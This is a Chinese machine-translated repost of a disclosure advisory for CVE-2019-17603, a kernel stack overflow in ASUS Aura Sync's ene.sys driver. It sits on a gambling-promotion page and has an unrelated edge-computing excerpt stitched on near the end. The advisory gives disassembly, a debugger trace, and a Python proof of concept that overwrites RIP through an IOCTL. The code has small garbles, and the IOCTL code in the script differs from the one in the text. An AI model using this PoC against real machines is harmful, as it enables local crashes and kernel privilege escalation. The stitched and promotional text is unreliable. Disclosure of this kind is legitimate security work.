欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

环球ug网址:华硕Aura Sync内核堆溢出破绽剖析( CVE-2019-17603)

admin2020-06-2180资讯

0x01:基本信息

 Advisory:               ASUS Aura Sync 1.07.71
                         ene.sys Stack-Based Buffer Overflow
 Advisory ID:            DH-ADV-2019-001
 CVE ID:                 CVE-2019-17603
 Revision:               1.1 
 Last Modified:          2019/10/14 
 Date Reported:          2019/09/08
 Advisory Published:     2020/06/01
 Affected Software:      Asus Aura Sync
 Remotely Exploitable:   No
 Locally Exploitable:    Yes 
 Vendor URL:             https://www.asus.com/

0x02:破绽形貌

ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处置IOCTL请求的代码中包罗一个破绽,行使此破绽可能导致:

· 内陆拒绝服务攻击(由于内核溃逃而导致系统溃逃)

· 在内核级别内陆执行随便代码(完整的系统权限控制)

可以通过发送特制的IOCTL请求来触发此问题,对于乐成的攻击,不需要特殊的用户权限即可行使此破绽。

0x03:破绽剖析

该IOCTL挪用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会获得验证。然后,可以用随便值填充差别的内核寄存器,可以行使它来控制内核执行流程并在内核级别执行随便代码。

逆向ene.sys(Windows 10 64位版本)IOCTL挪用 0x80102050:

 [...]
 .text:00000000000111AA             cmp     r11d, 80102050h
 [...]
 .text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst
 .text:0000000000011330             mov     r8, rbx            ; Size <- [1]
 .text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]
 .text:0000000000011336             call    memmove            ; CALL <- [3]
 .text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]
 .text:0000000000011341             sub     r11d, 1
 .text:0000000000011345             jz      short loc_1136D
 [...]

[1]如界说的约定__fastcall所述,将用户控制的缓冲区巨细复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。

[3]中的memmove函数使用以下参数挪用:

 memmove(RCX, RDX, R8);
          |    |    |
         dst   |    |
              src  len

· RCX (dst):通过控制流界说

· RDX(src):指向用户控制的IOCTL输入数据/缓冲区

· R8 (len):取决于发送缓冲区

行使思绪

若是攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()挪用将导致可行使的内存损坏情形。

破绽行使

步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并笼罩适当的寄存器并返回地址[4]。

步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将笼罩返回地址,并导致可行使的内存损坏情形(RIP被可控值笼罩)

可行使代码路径的示例:

 .text:0000000000011487             mov     ebx, [rdi+30h]
 [...]
 .text:00000000000114A1             lea     r11, [rsp+68h+var_8]
 .text:00000000000114A6             mov     eax, ebx
 .text:00000000000114A8             mov     rbx, [r11+10h]
 .text:00000000000114AC             mov     rbp, [r11+20h]
 .text:00000000000114B0             mov     rsi, [r11+28h]
 .text:00000000000114B4             mov     rsp, r11
 .text:00000000000114B7             pop     rdi
 .text:00000000000114B8             retn                    ; Trigger <- [4]
 [...]

在WinDBG中(执行破绽行使之后):

 ene+0x14b8:
 fffff801`198d14b8 c3              ret  t
 00000000`deadbeef ??              ???  r
 rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
 rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
 rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
  r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60
 r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
 r14=ffffa981e5e80d60 r15=ffffa981e2f84920
 iopl=0         nv up ei ng nz na po nc
 cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286
 00000000`deadbeef ??              ???

[4]用户提供的缓冲区[2]用作memmove 参数,将笼罩响应的寄存器和客栈地址。效果,客栈顶部的最后一个地址保留了用户提供的缓冲区的地址[5]。

在此示例中,客栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会损坏整个系统,并在内核级别执行随便代码。

破绽验证

先决条件- 调试器和Debuggee

· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);

· 步骤2:执行破绽验证(PoC)(Debuggee);

· 步骤3:将断点设置为:ene+0x14b8(Debugger)

 !process 0 0 python.exe            <- PROCCESSID of the running process 
 ba e1 /p ${PROCCESSID} ene+0x14b8
 g

· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时住手以执行下一条指令

· 步骤5:RIP被笼罩0xdeadbeef

0x04:破绽验证(PoC)

 ,!/usr/bin/python
 
 from ctypes import *
 import struct
 import sys
 
 kernel32 = windll.kernel32
 ntdll = windll.ntdll
 NULL = 0x00
 
 def run():
     handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None,
                                   0x3, 0, None)
     if not handle or handle == -1:
         sys.exit("[-] Error getting device handle")
 
     shellcode = struct.pack("<Q", 0xdeadbeef) , RIP == 0xdeadbeef
     buf = "A" * 56 + shellcode
 
     raw_input("Press Enter to Trigger Vuln")
     driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                       NULL, NULL, 0, NULL)
     if not driver or driver == -1:
         sys.exit("[-] Error")
 
 if __name__ == "__main__":
     run()

0x05:受影响的产物

此破绽影响以下产物:

· 华硕Aura Sync <= 1.07.71

该破绽很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产物的先前版本和后续版本。

0x06:时间线

· 2019/09/08:首次通过电子邮件(security@asus.com)联络协商;

· 2019/09/12:华硕平安团队回应并要求更多信息;

· 2019/09/12:破绽最初报告给ASUS Security团队;

· 2019/09/18:华硕平安团队确认该破绽;

· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603

· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;

· 2020/01/10:收到确认已公布补丁程序的确认(v1.07.79);

0x07:参考资源

· [1]ASUS Aura Sync - https://www.asus.com/campaign/aura/us/download.html

· [2]Microsoft - x64 calling convention - https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019

本文翻译自:https://zer0-day.pw/2020-06/asus-aura-sync-stack-based-buffer-overflow/:
下一次IT转变:边缘盘算(Edge Computing)

在已往的几十年中,从内部部署软件到云盘算已经发生了伟大转变。通过在云端存储数据和执行盘算历程,我们已经能够在手机、个人盘算机或物联网装备上完成更多事情,而无需增添响应的分外内存或盘算能力。然而,在物联网逐渐普及的靠山下,我们即将看到事情最先向另一个偏向生长。 这种转变有许多缘故原由,包罗在某些应用中需要极低的延迟,例如自动驾驶汽车。将盘算能力转移到更靠近网络边缘能降低成本并提高平安性。 据B2B调研公司MarketsandMarkets声称,到2022年,边缘盘算(Edge Computing)市场的价值将到达67.2亿美元,比2017年的14.7亿美元大幅增多,年复合增长率(CAGR)高达35.4%。几大驱动因素是物联网和5G网络的泛起、“智能”应用的数目增添以及云基础设施上的负载越来越大。 什么是边缘盘算(Edge Computing)? 边缘盘算指在靠近物或数据源头的网络边缘侧,融合网络、盘算、存储、应用焦点能力的开放平台,就近提

,

欧博allbet客户端

欢迎进入欧博allbet客户端(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

网友评论